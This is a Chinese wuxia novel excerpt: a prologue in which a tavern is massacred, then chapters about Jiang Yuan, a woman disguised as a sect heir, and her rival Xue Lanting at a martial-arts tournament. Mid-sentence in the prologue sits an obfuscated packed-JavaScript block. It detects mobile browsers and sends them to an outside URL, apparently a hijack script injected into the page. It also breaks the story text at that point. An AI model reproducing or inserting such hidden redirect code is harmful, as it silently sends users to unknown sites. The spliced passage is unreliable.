《天教分付与疏狂》 1. 楔子 “三十年前的武林,出了两个天下第一!” “啪”的一声,酒案抖三抖。一头鸡窝乱发的乞儿老叟驴眼圆瞪,脏衫飘晃,却端的一派气势如虹,双目炯然,正经到有几分滑稽。 “哼,你这曲老头,净胡说!那几年的武林第一分明是那鬼影掌,后为剔骨蛇,一先一后,一北一南,哪里同时占了两个?去去去,休要白吃我酒!” 老头急叩住碗,像护住自己的命根,“小兄弟,老夫虽年至耄耋,腿脚不甚灵光,好歹也曾是武林中人,懂得几句秘辛,哪敢胡说?遥想当年,那剔……那女侠也是有对手!当年南方三大山庄坐镇,焚阳、邀月分庭抗礼,如今显赫的凌波山庄,在那时只算得榜上薄名,世才罕出…… “哎哎!莫抢我碗,老儿说快些就是了——‘血龙咬尾,白羽吹花’听过没?后一句便是说他。十八岁扶摇盛会夺魁,一剑劈碎衡山镇剑石。那时凡练剑的,哪个不膜拜?哪个不嫉恨?只可惜啊,年少轻狂,徒为狭气。只得善始,不得善终。若那人还活着……” “若还活着,就和你一样,变成老不死喽!哈哈哈哈哈哈哈哈哈哈。” “甚么尾,甚么花,要真有剔骨蛇那毒妇这般厉害,至于籍籍无名?……啊,不是无名,是——被除名!” 老头瞪眼:“你、你们……” “哎哎哎,我倒是听过你说的这人。倒不是成名史,是风流史罢了。这小子艳福不浅,毒蛇妇比武芳心动,仇家女婚夜留情手,寡医仙破例以身救。功夫不论如何,那张脸倒挺讨女人欢心,不过都无福消受,孤独而死啊。” “噫!”或人摇头晃脑,啧啧叹惜;或人眉头一皱,目色鄙夷。 “那毒蛇妇还是算啦,哪个消受得起?” “小点声,说不定人家还活着呢。你可知她为何称为‘毒’?非是擅毒,而是心肠狠、手段毒!当年……一事,你们都忘啦?肚量比绿豆还小,忒记仇!依我看啊,这俩人破锅配烂盖,当真般配的紧!” “这才是胡说!”曲老头激愤地往桌上拍一掌,抻脖争辩,“以女子之身,夺尊主之位,史无前例!虽驭下苛严,武林还不是井井有条?哪个打得过她?你敢么?你敢么?薛大侠就更非轻薄浪子了!他以前……” “一口一个薛大侠,给丧家之犬贴什么金?豪杰之士纵百折尚不挠,他,懦夫一个!难不成你就是那姓薛的,拐着弯夸自己吧!” 众人哄笑起来,不理会老人有口难辩、双颊火燎。又谈及往日江湖,红粉风月,以及早已覆灭的几大山庄,唏嘘作乐,恩恩怨怨权当作下酒菜。 少顷,一人叹息道:“还是那时候热闹啊……” 小酒馆沉默一刹。有人闷闷接道:“是啊。不像现在,南派武林一家独大,还跟朝廷不清不楚。侠不侠,义不义,妖魔鬼怪横行,蝇营狗苟当道。甚么武林,趁早解散,回去考武状元罢了,如此不比捐官谄颜有光采?” “这么想来,剔骨蛇也算还好……” “哎,武林式微。天下侠客,尽消亡矣——” 一个“矣”字卡在喉咙戛然而止,其他人循声望去,脸色霎时一变,齐齐撂碗起身。 只见一支红穗羽箭,直直没入说话那人眉心,血流如注。那人眼睛大瞪,躯体直挺挺倒下,一声闷响。 “杀、杀人了!!!” 十几名身着黛蓝劲装的弟子持剑而入,为首一名中年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274938|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人,面色沉郁,厉色道:“妖言惑众,妄议是非,真当我凌波山庄无人了?近日蛮夷卧底入境,无论何人,既有分裂人心之嫌,我程家便不能坐视不管!” “众弟子听令——” “是!” “一个不留。” 白光出鞘,原本热烘烘的小酒馆,顿时如坠寒狱,惨叫声、碎瓷声和打斗声乱作一团。小二慌里慌张,刚掀开帘子准备逃路,就被一剑刺穿背心,丢了性命。 血色掺着烈酒,已看不出地板原有颜色。 “造孽啊!造孽啊!” 眼前又一年轻人被抹了脖子,瑟缩角落的曲老头,看着那步步逼近的剑影,手脚直颤,耳朵嗡然。眼一翻,昏死过去。 不知过去多久,再醒来时,唯余一片死寂。 浓稠血腥味与酒味,争先恐后涌入鼻端,逼出眼泪。曲老头提心吊胆,僵卧半晌,起身,扫视一圈,心中大为惊愕。 不止客官,方才进来屠杀的山庄弟子,居然一个不留,尽皆丧命! 谁杀的? 谁来过? 他不明白,短短半日光景,自己怎么就成了唯一一个活下来的人。 满室尸体叠着尸体,地面脏污无处落脚。忍着恶心与头发发麻,曲老头抬起冰冷麻木的腿,连滚带爬,瞥一眼程家弟子的死状,不由一愣。 惨烈,且单一。无一例外不是脖子动脉处有一个碗大的恐怖伤口,像是皮肉被什么铁钩硬生生勾住剜出,如牡丹翻瓣,一击毙命。 糜丽之极,狠辣之极。 心脏一阵狂跳,曲老头如遭重击般后退一步,嘴唇颤抖,无声吐出三个字。 “……剔骨蛇!” 2. 意气 日头底下,并无新事。 有人的地方便有欲。由欲而生争斗,由欲而生怨憎,法度、德义束之,欲念合正。盛而流之,则法度、德义危矣。 民间有朝堂,江湖有山庄。 南派武林自百家争鸣,到三庄鼎立,最后一枝独秀,粗粗算来,不过百年而已。 百年间无甚大事好说。侠义肝胆,时移世易,前辈们的热情早已消磨殆尽,风流云散了。但一项轰轰烈烈的事业套个平庸无奇结尾,总不免令人唏嘘,后辈问起时脸上无光,显得白白青春了一遭。于是挑挑拣拣,流传下几桩趣闻,聊以应付。其中最为津津乐道,便是三十年前的宗派之变了。 三十年前,江南雁州,暮春之初,扶摇盛会。 十年一次的新秀之争,汇聚了来自四海八荒的豪侠才俊。雁州最阔的擂台广场,红旗招展,擂鼓阵阵,车如流水马如龙,便是皇帝出巡也没有的盛况。各大门派摩拳擦掌,喝令自家子弟咬牙血战到底。 人头攒动之中,一名红衣箭袖的少年面色冷淡,理了理立领,取下背后盘旋成圈的漆黑骨刺长鞭,朝高台遥遥望上一眼。 “沅师兄!” 一名赤衣弟子排开人潮走来,气喘吁吁:“庄主让我传话,说这一亩青苗中,能入眼的不过两三棵。邀月山庄薛炳之因丧亲未至,只那洞庭刘家、盛湖辛家的路数稍有些意思,你稍加留意便是。纵然侥幸得胜,也不可轻浮倨傲。还有……” 他抿了抿唇,声音低了些:“庄主还说:‘龙贵神髓,而非形骸。龙有升潜之变,武有刚柔之道。上次的事,暂且不论。你今日代表的,是焚阳山庄的脸面,万不可……’” 姜沅道:“我知道了。让父亲放心便是。” 姜郃尴尬地摸摸脑袋,见姜沅神色依旧淡淡,便又说了几句勉励之语,一步三回头地走了。 人群骤然爆发一阵雷鸣掌声,原是那盛湖山庄的辛燕儿,使得一手精彩绝伦的“鸳鸯银环杀”,将对面原本轻视调笑她的彪壮汉子,打得落花流水、脸肿如猪,一连守下八局擂台。 她头上一朵红艳艳簪花随风轻荡,炽烈如火舌,映着同样张扬恣肆的脸。喊道:“还有谁!” 姜沅本该上前,但盯着那朵明媚灿烈的簪花,不禁有些恍惚。 几年前,也是这样一朵漂亮动人的花,被愠怒的母亲狠狠掷到地上,踩了一脚—— “瞧瞧你如今这副小女儿情态!沅儿,你难道忘了曾经答应娘的吗?” “我们和你爹,分离十余载才苦寻得见,你那孪生弟弟难产而亡,但你爹不能没有继承人,焚阳少庄主之位不能是别人!” “焚阳山庄只收男子,好在你自小阳气充足,天资聪颖,才堪可以女儿身习得焚阳独门功法,瞒天过海,更胜男子。娘废了多大努力,你又吃了多少苦,才有今天?” “以后你要是再让我瞧见甚么花儿、裙儿,就像那只发霉的馒头一样,剪碎了给我咽下去!” 沉浸在思绪中的姜沅,耳边寒意陡生,抬手截住一颗飞速击向她右耳的物什。取下一看,是一颗葵瓜子。 她转头对上远处阁楼上的目光。父亲姜甫阁正端坐太师椅中,抿了口茶,眼里有淡淡的谴责。 “还有没有!”台上的辛燕儿还在朗声叫唤。台下有人本不觉得她武功如何高深的,因这股悍然无畏的气势,也踟蹰不前。 姜沅主动应战,走上擂台与她抱拳见礼:“焚阳山庄,姜沅。请姑娘指教!” 辛燕儿噗嗤一笑,鸳鸯双环在指尖打转,道:“适才他人同我敬礼,要么潦草,要么急促,你还是第一个,这么板板正正的!本姑娘高兴,决定轻一些,不打你脸了!长这么俊,打坏了还怪可惜。” 姜沅身量颀长劲瘦,面容是偏中性的清逸美,着男装时,任何人看了,都只认为是一个肩有些窄、腰有些细的少年郎。兼之声音有些低沉沙哑,还尚未完全长开的青涩模样。 姜沅回以一笑:“那便多谢姑娘了。” 语毕,垂下骨刺鞭。辛燕儿旋步一声叱喝,一环飞如满月,挟锐风劈砍而来。姜沅当即后撤一步,扫鞭戳刺其腕,迅如闪电。众人见擂台上双月横飞、长蛇绕卷,大呼精彩痛快,简直像看了一出生动惊险的戏目。 阁楼上的姜甫阁,脸上亦隐约可见笑意。 百余招后,“哐当”几声,双环接连受击坠地。辛燕儿道:“我输了。” “这……”台下有人傻眼了,“还能打呀!”明明斗得有来有回,怎么就突然结束了呢? 辛燕儿笑道:“不打啦!”捡起鸳鸯双环,向姜沅致了一礼,道:“焚阳山庄竟出了这么一位厉害人物!姜少侠,谢谢你让我,此次比试,我辛燕儿输得心服口服!” 姜沅道:“也多谢姑娘,手下留情。” 辛燕儿笑着摆摆手,兀自下台了,鬓边的簪花随步子一摇一晃,依旧灿灿。 众人不解。方才比武的,哪一场不是斗得惨烈、披红挂彩的?辛燕儿守擂既久,就这么认输了? 然而,他们很快就知道了原因。 后面的几场,应战的多是奉师长之命、负门派期望的宗门弟子,对姜沅未尽的实力尚且存疑。他们心中有不服输的韧劲,手上有使不完的蛮力,胸口一团熊熊烈火,直如猛牛看见红布般,不要命似的横冲直撞、缠打不休。 而那根本来乖顺掌握在姜沅手中的漆黑长鞭,“唰”地张开一身狰狞阴寒的骨刺,如暗夜密林中最危险、最恶毒的长蛇,露出锐齿,死死撕咬猎物。一旦触及身体,便是皮开肉绽、血泼如瀑。 看客的脸,已经微微发白了。 姜郃拳心冒出虚汗,偷觑一旁的姜甫阁。姜甫阁脸色沉凝,猛地将手中茶杯投掷于地,冷哼一声,挥袖而去。 下一个青年上台,姜沅无心多战,挥鞭缴飞那人武器。青年小臂受击,闷声捂住,扭头望着自己被掀飞的软剑,当啷几声砸落台下,惊散一圈观者。 姜沅收起鞭子,就见那青年回头,隐忍地瞪了自己一眼,眼里似有深深的屈辱。 “可还有人攻擂?还有没有!”仲裁长老道。 台下嗡然: “这……吓煞人也!” “师兄,你们去吗?我?我……腹内嗡鸣,有急,有急!” “焚阳功法不是以宏大开阔、阳刚硬劲著称的吗?怎的他出招如此……诡谲?” “杂糅他道,变得刚柔并济、变化万端罢了。想来焚阳山庄为称雄武林,费了不少心力。” “这怎么打?姜沅此人,以前怎么没听说过?那骨刺鞭一卷,直把别人武器飞出天外;再一抽,活像千万把刀刃同时削骨剜肉。十局重伤七人,这还怎么打!” 立刻有焚阳弟子反驳:“你们凌波不也有人使骨刺鞭?技不如人怪谁?姜师兄赢得光明磊落,就算换剑,一样能赢!至于重伤,都像辛燕儿那样及时认输,能躺着下来?死要面子硬撑,怪得了谁?” “对啊对啊,你们凌波山庄少庄主,在姜沅手底下,都撑不过二十招啊!” “哎,人比人,怎么就……” 抱怨的那人脸色又红又白,不再说话。 邀月、凌波山庄长老急急如热锅上的蚂蚁,差点把胡子薅秃了。就在仲裁长老最后一声刚要落下时,台下突然响起一句清朗喝声: “慢着!” 人群自动分开一个圆,圆心站着一个十八九岁少年郎,肩悬一只半瘪包袱,背挂一柄瞧不出门道的玄铁重剑。 灰衫寒履,风尘仆仆,犹自一身流浪汉装扮。只那张脸倒是干净。面如朗月,眸若晨星,眼中笑意盈盈。 阁楼上的各长老宗主,与台下看客一道纷纷伸长脖子,打量这不知从哪冒出来的愣头青。 的确是愣头青。最后几场大多是三大山庄天骄子弟间的比试,他一无名声,二无门派,寒酸到鞋底都快被磨平,一来就挑战屡战屡胜、“心狠手辣”的姜沅,实在不知天高地厚。 他浑不在意众人目光,阔步上台,拱手抱拳:“邀月山庄,薛兰庭。” 邀月庄主眉头一跳,问身边人:“本宗有这号人物?” 弟子冥思苦想,拧眉:“未有。” 薛兰庭朝高台使劲招手,声如洪钟:“庄主大人!家师乃不恕散人。他老人家说,让我滚走莫烦他逍遥清净,还道您是他好师侄,让我来投奔您,说是饿不死,还能顿顿有肉吃!我跟着师傅吃了十几年斋素啦,薛伯伯,前几日我盘缠还在路上为贼人所骗,好生凄惨,如今可算找到您老了,真乃老天保佑!” 显然这老天保佑得很没眼光,邀月庄主眉头深皱,绷着脸不语,听到旁边不知是谁“噗嗤”笑了一声,额头青筋跳得更厉害了。 姜沅则暗暗吃惊。 要知道,邀月庄主相隔擂台百余米,与人商量时声音低沉,中间人声熙攘,非内力极其深厚广博之人不可耳闻。这少年来历不明,却也不可小觑。 她一扬鞭道:“说完了么?说完便开打!” 薛兰庭一拍脑门:“哎呀,失敬失敬,开始吧!”说罢,取下背后重剑,手握巨柄,“嘭”地以剑点地。 当今武林以细剑轻剑为主,他这样一柄玄铁重剑,厚重无锋,看似笨拙,实则最克制骨鞭类武器,尤擅以力破巧。 姜沅不敢大意,手腕一旋,使出一招“灵蛟探路”,长鞭似有生命,朝薛兰庭关节、穴位处戳探。薛兰庭以剑面格挡,碎步侧移,看似节节退败,实则游刃有余,信步闲庭。 “还真有两下子!”台下人惊道。 骨刺鞭矫若游龙,与重剑相撞时火星四溅,呲啦刺耳。姜沅虎口被震得发麻,心中震感更甚。 薛兰庭武功非是纯邀月派绝学,更杂糅了少林棍法机锋,可她之焚阳心法正是由少林金刚内功改造而来,无论武器还是招式,薛兰庭都对她形成一种天然压制。 姜沅心中一凝。对面那厮却七嘴八舌、吱哇乱叫:“哇!江湖上的人出手都像你这么猛?” “你这鞭子不错啊,哪位名家炼的?介绍给我呗。” “嚯!身法这么快,吓煞我也!” “兄弟,你是不爱说话吗?好生沉闷。” 姜沅怒极反笑:“这算你扰人注意的招式么?” 那人道:“……啊?” 姜沅以为他故意装傻充愣,心头火起,招式愈发凌厉。转眼近百招,薛兰庭一个不慎,小腿被骨鞭扫中,身形一晃。 姜沅冷笑一声,心道不过如此,正待如法炮制缴了他武器。谁知薛兰庭不躲不避,一声暴喝,凭借一身可怖蛮力,连鞭带人猛地抡起! 一力降十会! 看客们已然呆滞。邀月庄主不顾形象地瞪大双眼,一个“好”字几乎就要脱口而出。他克制地捋了捋髭须,瞟一眼不停转动扳指的姜甫阁,嘴角掩不住得色。 一旁年纪轻轻的薛朗却克制不住激动,忙扯着他道:“庄主,你看!你看!” 姜沅耳畔风声如啸,眼看就要在地面上砸个大窟窿。生死一瞬,她咬牙弃鞭,借势腾空,从袖中滑落两把短匕,朝他胁下疾刺。薛兰庭侧身一避,她趁机夺回骨鞭,落地连退数步。 阁楼上,姜郃攥紧栏杆,咬牙切齿:“邀月这帮蛮匪……” 鞭来剑往,从晌午斗到次日天明。 台下看客换了一拨又一拨,剩下的个个熬红了眼,谁舍得错过? 重剑极为耗精力,薛兰庭已然眼底发青,手臂又酸又麻。退出五步远,道:“喂!你不累吗,要不我们先歇一歇?” 姜沅脸色苍白,道:“好罢!你先下场,我就让你好好歇歇!” 先下比武场就认定为输,薛兰庭哪肯同意?嘴上抱怨道:“真犟。”却也严阵以待,认真对抗。 夺魁之战的刀光剑影,在擂台上持续了三天三夜,难出胜负。最后,以一个戏剧化方式收尾: 姜沅因守了十几场擂台内力干涸,薛兰庭因数日没吃饱饭肚子打鼓。三天三夜不眠不休,两人俱是手麻脚软,再提不起武器。凑近了我给你一巴掌,你给我一拳头,我扯你头发,你扒我长靴,幼稚到令人不忍直视。 台下弟子一口口直抽冷气,阁中长老咳嗽连天。最终两人脚也支撑不住了,于是一左一右,双双倒地不起,脸对脸,互赠了个眼色。 薛兰庭给的是笑眼,姜沅给的是白眼。 两人身上大大小小的伤口,并不致命,但也不好看就是了。再加上发泄似的肉搏,发冠歪斜,衣襟不整,薛兰庭那双破鞋子都踩掉一只。 台下犹有弟子激情呐喊:“薛兰……呃师兄!快起来最后打他一下啊!那样就赢了,快站起来啊!” “薛……小师兄,我们山庄就靠你了!站到最后!” 薛兰庭气若游丝:“没力气啦,一根手指都动不了了,再嚷嚷我就睡了。” 经过这没日没夜、别开生面的比试,邀月弟子对他从轻视变为景仰,即使连他名字都没记全,也都纷纷亲切称他为薛师兄,助威打气,欢呼雀跃。可薛兰庭依旧死鱼般,粘擂台地面一动不动,他们这才失望,悻悻闭嘴。 “薛公子?薛公子?” 裁判上台为薛兰庭翻开身时,却见他双目紧闭,真打起鼾来睡熟了。 一旁侧卧的姜沅幽幽地瞥他一眼,咬牙切齿地晕了过去。 …… 扶摇新秀大会绵延百年,头一回出现了两个魁首,可谓奇谈。 然众人心思各异。虽说江湖上焚阳、邀月、凌波三足鼎立,但凌波近年沉寂,说到底还是焚阳姜家与邀月薛家共争武林,本来落到谁头上都不意外。焚阳山庄出了一个奇才,对魁首胜券在握,孰料半路杀出个不明不白的程咬金,共分这一杯羹。 邀月弟子乐了,焚阳弟子却苦了。其中最苦的,还是被个初出茅庐的臭小子搅黄了夺魁大业的姜沅。两个第一,说起来好听,可彩头只有一个,给谁? 姜沅甫一转醒,就见床帐之中,森然投落一片阴影。她心中一惊,忙下榻单膝跪地:“父亲!” 姜甫阁缓缓转动深翠色扳指,视线越过她的头顶,冷哼一声: “你还知道我这个父亲!” 姜沅嘴唇发白,双腿勉力支撑。薄日透窗,照亮了窗口处的一方地面,沐浴在光线中的椅脚出现几个重影。 “比试之前,我让姜郃告知过你甚么?” 姜沅涩声道:“一招一式,不可……过于阴狠刻毒,不可……灭焚阳之威名……” 姜甫阁负手在屋内踱步,目光落到她低垂的头顶,沉声道:“人人皆有自个儿的机缘。五年前你初入山庄,还是个经脉不通的孩子。这些年,我不管你看了什么、学了什么,但你既是我姜甫阁的儿子,你的一招一式,都代表着焚阳的脸面。” “三月前,让你查青川陈氏一案,你怎么做的?当着陈家老小的面,用你那条骨刺鞭,活活勾出二十多名马匪的心脏!” “不是的!”姜沅后背已然汗湿,抬头辩解,“是那群马匪,奸杀了两名陈家婢女,还威胁……” “为父说你杀错了?”姜甫阁厉声打断,“是你用的手段!凶残至此,和百年前挖人心肝的魔教有什么区别?” “我焚阳向来以阳德刚正为纲,若 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姜甫阁复叹道:“人外有人天外有天,武林不争虚名的世外高人,更是多如牛毛。这次薛家小子横空出世——两个魁首,哼!” “你是竭尽全力,他却收放自如,瞧着可比你轻松的很!你这心浮气躁、目中无人的毛病,是该好好改改了。” 听到薛兰庭,姜沅眼也不花了,头也不痛了,胸口憋着一堵气,牙齿咬得咯咯作响,恨声道:“……是!” 姜甫阁点点头,话锋一转:“除去扬名立威,扶摇盛会,说到底是为了武林至尊挑选接班人。萧风扬独霸武林几十年,只从南北盛会魁首中择人传承。” “你与薛家小子,只有一人能入他青眼。不日后上路,你可知该如何?” “鬼影掌”萧风扬武功独步天下,已入天人之境,有言传其“乾坤独掌三十年,天下英雄尽低眉”,是一座无法逾越的武学高峰。 扶摇盛会慕名而来的所有人,都怀着得其衣钵、一举冲天的心思。只有成功拜入他门下,才能稳稳当当坐上少庄主之位,更有希望成为下一个武林第一,姜沅深谙此理。 送走姜甫阁,姜沅左手心传来剧痛,原来不知何时起她的指甲就死死抠着掌心,鲜血淋漓。 刚想躺回被窝,外面小厮忽传报有人来找,姜沅脸色顿时古怪:“你说谁?” “薛兰庭薛少侠。” 他来干什么? 姜沅皱眉道:“不见。” 如此一觉睡到翌日午时,姜郃带着大补丹等物来探望她,说雁州东道主张老爷打算办一场践行宴,正打听在盛会中名列前茅的青年才俊身体恢复状况如何,就差道出她和薛兰庭的名号了。 姜沅精神既复,在张府特为盛会接待所设的群英馆打了几转。各派弟子三三两两,互赠信物,谈笑正欢。 忽听一人不屑道:“要我说,那姜沅能赢,全仗那条骨刺鞭的偏门路数,算什么真本事?咱们都使剑,才让他钻了空子。若论内力,换个比法,他未必多强!” “哦?张兄想比什么?” “箭术!”青年声调一扬,“我十岁射落铜钱,百步穿杨,同辈里除了北派那位‘小青凤’,没服过谁!可惜擂台不兴这个。不然,你看他敢不敢应战!” 姜沅眼神寒了下来。正要上前,又想起父亲的嘱咐,硬生生僵在原地。 这时,廊外响起一声朗笑:“你可使劲儿吹嘘!就算有几分打靶射雁的准头,也当不起这个魁首!” 青年闻言大怒。他作为张家三少爷,在自己的地盘上被外人比下去,本已憋着一口气。此时又在人前被驳了面子,立即拍案而起,愠道:“你又是何人,胆敢跟我比试比试?” “比就比!” 拱形墙门中,悠悠然走出一个萧萧肃肃的少年身影。一身扎眼的绣金澹月衫,云纹冠带束起高高马尾,玉面朱唇,眼角含笑,如一只初入苍穹的金羽雏鹰,眉目间有一丝他自己都未曾发觉的睥睨之色。 众人一时大感陌生:“此乃何人?”随即看到他背上一柄沉锋重剑,顿时愕然:“竟是邀月那位小魁首!” 薛兰庭换上邀月山庄服饰,倒有几分人模狗样。姜沅暗自收回脚,隐入一旁的假山石林,倒要看看他待如何。 薛兰庭在扶摇盛会与姜沅打成平手,一举成名,许多人仍不知其底细深浅。青年心中忌惮:“莫非他也擅长箭术?”却见薛兰庭走到石桌旁,抓起一颗红溜溜的李子,道:“你用弓箭,我用弹弓,便比比谁准头更好!” 众人噗嗤一声笑了。弹弓这种不入流的江湖法门,也配与弓箭之属相提并论? 青年亦掩不住眼中鄙夷,勉为其难道:“那便如你所言!说吧,怎么比?” 薛兰庭取出黄木弹弓,捡一颗石子,将手中红李抛于半空。众人目光追随空中那条优美远阔的弧线,下一刻,红李“啪”地在空中炸开,果肉四溅。 青年脸肉抽搐,道:“哼!不过……如此!” 他拉开弓弦,较劲般将李子抛得更高了些,一箭击穿红李。薛兰庭又道:“下一把,你丢,我打,交换着来。” 薛兰庭将果盘推到他面前,自己从地上捡了一把石子,示意“请”的动作。青年取出红李,灌注十二分的内力,扔暗器般向空中疾射而出。 石子紧随其后,穿膛而过。一颗又一颗,在空中接连炸开,噼里啪啦,众人目光应接不暇,接连喝彩:“好!再快点儿!再快点儿!” 青年脸色慢慢变了。旋即一把抓过剩下七枚红李,腕上用劲,同时瞬射破空。七颗红李在空中不规则飞刺,如七星连珠,划起一阵锐风。 突然,几条玄雷闪过,七星猛地炸开!如烟花绽放,又如血雾喷溅。 “厉害!”众人眼大如铃,下巴惊落一地。 青年不可置信看着这一幕,脸上直如火烧。薛兰庭道:“到你了!” 青年攥紧弯弓的手青筋凸显,把几支羽箭投掷在地,恶狠狠道:“……不比了!算你有几分本事!” 薛兰庭笑嘻嘻道:“瞧见了?大话说早啦。我尚且不及姜沅,你连我这关都过不去,怎么敢去跟他比?既然输了,不如想想怎么跟他道个歉。” 青年气急败坏,脸红脖子粗地走了。周围方才奉承他的人,转眼又奉承起薛兰庭,纷纷问起他的师承、功法,还有几个想跟他讨教讨教的。 薛兰庭叫苦不迭:“不比啦!眼酸手软,要回去睡觉啦!”众人又想起他在擂台上呼呼大睡之事,相顾莞尔:“薛少侠是在梦中练功的!” 薛兰庭好不容易打发了众人,转身就要离开。却瞥见假山园景之中,掠过一道赤色衣影。 薛兰庭心道:“不知他如何了?”当即脚步一转,来到一处满是流风赤炎弟子服的别院。小厮见了他,苦哈哈道:“薛少侠,您来五次了,姜少侠全没空。以后,他也不会有空的!” 薛兰庭道:“你怎知他以后不会有空?我看今日阳光明媚,云淡风轻,正是出门的好时候!” 小厮暗暗腹诽:“我当然知道,每次一通报您,姜少侠的脸就跟熄灭的炭火一样的,黢黑!”却拗不过他的执意恳求,回院禀报去了。 薛兰庭在墙外不安分晃荡半晌。少顷,那小厮小跑而来,手舞足蹈满面光彩:“薛少侠,姜少侠叫您进去呢!”言语又是激动,又是解脱,仿佛被邀请的是自己。 薛兰庭一入室,就见姜沅坐于椅上喝茶,桌面另一端还斟有一杯。她看了他一眼,语调轻松道:“来了?坐。” 3. 心障 薛兰庭颇有些受宠若惊,心道:“莫非……他也同我一般,觉得在擂台上打得痛快,一见如故,想与我交朋友?” 他坐下来,捧着热茶,笑道:“沅兄,可算是见着你啦!身子如何?我大睡三日,醒后一口气吃了十大碗,差点把薛伯伯吓坏了!” 姜沅道:“自是无碍。就凭你那三脚猫功夫,还想伤到我?” 薛兰庭竖起大拇指:“我是三脚猫,你的功夫倒真不赖,鞭子耍得真俊。这是跟哪位大侠学的?” “自然是焚阳。” “我不信。”薛兰庭道,“我这几日又不是没见过焚阳功法。邀月似野鹤逍遥,焚阳似烈日当空,走的都是光明开阔的路子。你这鞭法柔中带煞,刚里藏锋,劲力走向全然不同于‘由内向外、沛然中正’的气象,一点不……” “砰!” 茶杯叩到桌面,茶水迸溅,姜沅猛地起身,脸色转阴。 她真是瞎了,才会觉得这厮突然顺眼,放他进来! 薛兰庭吓了一跳,也起身道:“怎了?” 姜沅盯着他,觉得自己右手心作痒,恨不得握着什么尖刺长条,朝他茫然的脸上狠狠一抽。 “是,的确不像焚阳弟子能使出来的武功。” 她冷笑一声。 “那你要什么答案?无师无承,自个儿钻研?” “想知道就自己试出来,而不是在擂台插科打诨,兀自戏耍他人。现在在人前装模作样,来套什么近乎?还是说来取笑我?” “你就算胜了又如何,别以为我会像邀月的那群废……那群弟子,对你五体投地。出去,别烦我!” 薛兰庭被劈头盖脸一顿数落,彻底愣了,努力理清其中意味,“你以为我没尽全力,在故意让你?” “难道不是?刚出世就拿我打名号,很风光吧?不知我这块试剑石,可还趁手?” 薛兰庭瞪大眼睛,踱来踱去,胡乱挠了挠头发。随后跑到庭院,掌风打落几根树枝,三两下制成一根细棍,道: “那我们再来比一场。” 姜沅看着他。薛兰庭掂了掂木棍道:“就用这个。” 姜沅出去折下一条柳枝,以柳代鞭,盯着前方忽然正色的薛兰庭,道:“来便来!” 她足尖点地,倏忽已至薛兰庭身前,柳枝如活龙专取他颈部动脉。薛兰庭退身格挡,一下棍法,一下剑法,行云流水,却又不像擂台上般游刃有余。 两个身影在院中缠斗,树叶洒落飞舞,被罡气劈为两半。良久,姜沅“咦”了一声。 薛兰庭道:“看吧!我可没有让着你。” 姜沅知道问题在哪了,重剑尚能以劲力运之,掩盖内功的不足,薛兰庭一换成树枝,缺点便暴露了出来。他或许是天生耳聪目明,身负神力,才教人未瞧出端倪。 姜沅疑惑:“不恕散人好歹多年前名满江湖,你既作为他弟子,怎么内力差成这样?” 薛兰庭尴尬道:“这……说来话长,也没有太差吧?真的有这么差吗?” “差的要命。”姜沅直白道。 薛兰庭摸摸鼻子,“沅兄,你的内力路数才奇怪呢。看似至阳至刚,却总有一丝……呃,说不清,感觉像憋着一股劲,时有滞涩。不然在擂台上,我肯定不是你的对手。” 姜沅脊背一僵。她以女身强行适配焚阳功法,虽以另一套秘法改造融合,却未达至臻之境,无意间暴露了弱点。她面上不动声色:“你看错了。” 立即转移话题:“说吧,你为何找我?” 薛兰庭也不深究,凑上去嘻嘻道:“这不是我刚来,没什么熟人嘛。咱们也算不打不相识,以后就当个朋友,怎么样?” 说来好笑,焚阳山庄与邀月山庄,为夺第一山庄的名号暗中较劲多年,他却口口声声说要跟焚阳未来少庄主当朋友。他初入江湖,只以为找到堪可匹敌的对手、知己,却不知他在大会上无意一搅和,差点毁了她多年筹谋,让她险些害了心病。 姜沅道:“那就看你有没有这个本事了!” 一招甩出,正中薛兰庭腰侧。他被这意外一击打得如油锅中的鱼儿,猛地扭腰弹起,惨叫一声:“啊!怎么还来!” 姜沅看他不顺眼,心法一事被戳破后不敢再动用内力,只使外劲,手中挥出残影,恨不得把对面那人当蹴鞠,一鞭抽上天、一脚踩下地。 薛兰庭默契地也没用内功,纯以身法蛮力相斗,却也没讨得到巧,连中几抽,边还击边求饶,哇哇大叫。 两人从庭院打到后山,不知击倒多少树木,卷飞多少尘土。招式变换间天地变色,风声呜咽。 终于,再次像擂台上那般,瘫倒在草地,手脚酸软,大口喘气。 姜沅把小臂一抬,便是湛湛蓝天,抹抹白云,鼻尖充斥青草香、泥腥与汗味。身体沉重,胸中却化开了阴翳。 痛快。 太痛快了。 自拜入焚阳以来,她好久没这么酣畅淋漓地,发泄过心中郁气与怒火了。 一行灰雁掠过天幕,她目光追随平平的一条线,无声笑起来。薛兰庭在她身侧,身上挂彩,庆幸道:“还好这次没用武器,不然真要命啦。沅兄,你那鞭子好生威风,有名字么?” 姜沅心情好,答道:“化龙。” “好名字!”薛兰庭支起脑袋,好奇道,“怎么做的?” 姜沅取下腰间圈成圆环的骨刺鞭,道:“有个人烦得很,总惹我,我便杀了他,把他的骨头剔成刀刺,制成了化龙鞭,然后——”顿了顿,声音骤沉,“让他自己,杀掉他最爱的人。” 薛兰庭笑容一滞。 姜沅被他脸色逗笑了:“哈哈,你不会真信了吧?难道我看着像那种人?” 薛兰庭吐了口气,撞了下她的胳膊,“什么啊……沅兄肯定不会,不然我这么烦,你早就不留情了。”偷眼看她神情愉悦放松,料想交友一事已是板上钉钉,不由得暗自窃喜。 两人阖目假寐,听风吹草叶,簌簌作响。薛兰庭忽然开口:“听说咱俩要北上,找那萧什么风拜师。芜城我还没去过呢,也不知有什么好吃的。” 邀月的人显然没告诉他,萧风扬十年只收一个弟子。这人怕是连萧风扬是谁都不知道,只惦记着游山玩水。 薛兰庭又道:“沅兄,你何时启程?咱们一道吧,路上也有个照应。” 姜沅想起父亲的嘱托,没有接话。 